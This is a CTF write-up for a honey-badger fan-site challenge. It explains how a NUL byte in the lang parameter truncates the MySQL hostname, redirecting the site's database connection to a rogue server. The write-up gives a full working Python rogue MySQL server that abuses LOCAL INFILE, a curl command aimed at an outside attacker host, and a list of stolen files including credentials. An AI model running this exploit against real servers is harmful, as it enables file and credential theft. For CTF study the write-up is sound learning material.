$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: multilingual honey-badger fan site where the lang parameter controls the MySQL hostname (<lang>.db.internal); flag is on the filesystem. Solution: NUL byte in lang parameter truncates the .db.internal suffix at C level, redirecting the MySQL connection to a rogue server that exploits LOCAL INFILE to exfiltrate filesystem files including an old database backup containing the unredacted flag.
Сообщества любителей медоедов из России, Англии и Германии завели свой совместный фан-сайт, где делятся самыми интересными фактами об этих животных.
Спойлер: хорошего разработчика в этих сообществах не было.
hbfuns-9vqogw6q.avitoctf.ru/
Флаг на файловой системе.
English summary: Communities of honey-badger fans from Russia, England, and Germany created a joint fan-site sharing facts about honey badgers. Spoiler: there was no good developer in these communities. The flag is on the filesystem.
The site is a multilingual honey-badger fan page with three languages (EN, RU, DE). The frontend JavaScript (/assets/app.js) calls /api/content.php?lang=<lang> to load translated content and facts from per-language MySQL databases.
The backend PHP source (content.php) constructs the database connection parameters directly from user input:
$lang = isset($_GET['lang']) ? explode(':', $_GET['lang'], 2)[0] : 'en'; $host = $lang . '.db.internal'; $db = 'hbf_' . $lang; mysqli_real_connect($conn, $host, $DB_USER, $DB_PASS, $db);
Key observations:
en, ru, de (lowercase) resolve as valid DB hosts and return contentlang values produce verbose errors: Could not connect to database at <lang>.db.internal: php_network_getaddresses: getaddrinfo failedDE resolve via DNS (case-insensitive) but fail MySQL auth: Access denied for user 'web'@'%' to database 'hbf_DE' — revealing the MySQL username web: is used as a delimiter by explode(), stripping everything after it, but the .db.internal suffix is always appendedThe German (de) database returns 11 facts (vs 10 for en/ru). The extra fact is titled "Daten aus dem Archiv" (Data from the archive):
Eine deutsche Expedition, die Ende des 20. Jahrhunderts nach Afrika aufbrach, soll einen Bau der Honigdachse entdeckt haben. Die ganze Familie bewachte eine Tafel, auf der geschrieben stand: /*REDACTED*/.
The /*REDACTED*/ uses SQL block-comment syntax, hinting at a database/SQL-related vulnerability. "Tafel" means both "plaque" and "table" in German — a deliberate double meaning pointing toward the database layer.
The critical vulnerability: a NUL byte (%00) in the lang parameter causes the MySQL C API's getaddrinfo() to truncate the hostname at the NUL character, bypassing the .db.internal suffix entirely.
"127.0.0.1\x00.db.internal" (NUL byte embedded)getaddrinfo() treats the NUL as a string terminator, resolving only 127.0.0.1Testing: lang=127.0.0.1%00 → "Connection refused" (no MySQL on localhost, but the suffix bypass is confirmed).
PHP's mysqli client has allow_local_infile enabled (the "bad developer" misconfiguration). This enables the classic rogue MySQL server attack:
SET NAMES utf8mb4)LOCAL INFILE request packet (0xFB + filename)A Python script implementing a minimal MySQL server was deployed on a publicly reachable VDS (72.56.24.3:3306):
#!/usr/bin/env python3 """Rogue MySQL server for LOCAL INFILE exfiltration.""" import socket, struct, sys, time, os FILES = sys.argv[1:] if len(sys.argv) > 1 else ["/flag"] PORT = int(os.environ.get("PORT", "3306")) CAPDIR = "/tmp/captured" os.makedirs(CAPDIR, exist_ok=True) def pkt(payload, seq): return len(payload).to_bytes(3, "little") + bytes([seq]) + payload def recv_pkt(c, timeout=15): c.settimeout(timeout) try: hdr = b"" while len(hdr) < 4: d = c.recv(4 - len(hdr)) if not d: return None, None hdr += d n = int.from_bytes(hdr[:3], "little") seq = hdr[3] body = b"" while len(body) < n: d = c.recv(n - len(body)) if not d: break body += d return seq, body except Exception: return None, None def greeting(): salt1 = b"\x41\x42\x43\x44\x45\x46\x47\x48" salt2 = b"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x00" caps = 0x00A28F8F # includes LOCAL_FILES, PROTOCOL_41, SECURE_CONNECTION return ( b"\x0a" + b"5.7.99-rogue\x00" + struct.pack("<I", 1) + salt1 + b"\x00" + struct.pack("<H", caps & 0xFFFF) + b"\x21" + struct.pack("<H", 0x0002) + struct.pack("<H", (caps >> 16) & 0xFFFF) + bytes([21]) + b"\x00" * 10 + salt2 + b"mysql_native_password\x00" ) def handle(conn, addr, fname): # 1) Send greeting conn.sendall(pkt(greeting(), 0)) # 2) Receive auth handshake seq, auth = recv_pkt(conn) if auth is None: return None # 3) Send OK conn.sendall(pkt(b"\x00\x00\x00\x02\x00\x00\x00", seq + 1)) # 4) Receive client command (SET NAMES, etc.) seq2, cmd_data = recv_pkt(conn, timeout=10) if cmd_data is None: seq2 = 0 # 5) Send LOCAL INFILE request conn.sendall(pkt(b"\xfb" + fname.encode(), seq2 + 1)) # 6) Receive file content chunks = [] while True: s, d = recv_pkt(conn, timeout=10) if d is None or d == b"": break chunks.append(d) content = b"".join(chunks) if content: safe = fname.replace("/", "_").replace(".", "_") with open(os.path.join(CAPDIR, f"{safe}.bin"), "wb") as f: f.write(content) return content def main(): with socket.socket() as srv: srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", PORT)) srv.listen(5) idx = 0 while True: c, a = srv.accept() f = FILES[idx % len(FILES)] with c: r = handle(c, a, f) if r is not None: idx += 1 if __name__ == "__main__": main()
curl 'https://hbfuns-9vqogw6q.avitoctf.ru/api/content.php?lang=72.56.24.3%00'
PHP constructs hostname 72.56.24.3\0.db.internal, the C API resolves 72.56.24.3, and connects to the rogue MySQL server.
Each connection exfiltrates one file. Multiple requests were made to read:
/etc/passwd (919B) — confirmed Alpine Linux container/var/www/html/config.php (46B) — DB credentials: web / webpass/var/www/html/api/content.php (997B) — confirmed the explode(':', $lang, 2)[0] logic and mysqli_real_connect() usage/etc/crontab → discovered /opt/scripts/backup.sh/var/log/hbf-backup.log → found weekly backups at /opt/backups//opt/backups/hbf_de_backup_2019-05-05.sql (4696B) — old database backup containing the unredacted flagThe 2019 backup SQL file contains the original German archive fact INSERT with the unredacted plaque text:
INSERT INTO `facts` VALUES ... (5,'Daten aus dem Archiv','Eine deutsche Expedition, die Ende des 20. Jahrhunderts nach Afrika aufbrach, soll einen Bau der Honigdachse entdeckt haben. Die ganze Familie bewachte eine Tafel, auf der geschrieben stand: <FLAG_FRAGMENT_REDACTED>.', '/assets/badger.svg');
The live de database has /*REDACTED*/ in place of the flag, but the old 2019 backup on the filesystem preserves the original value.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar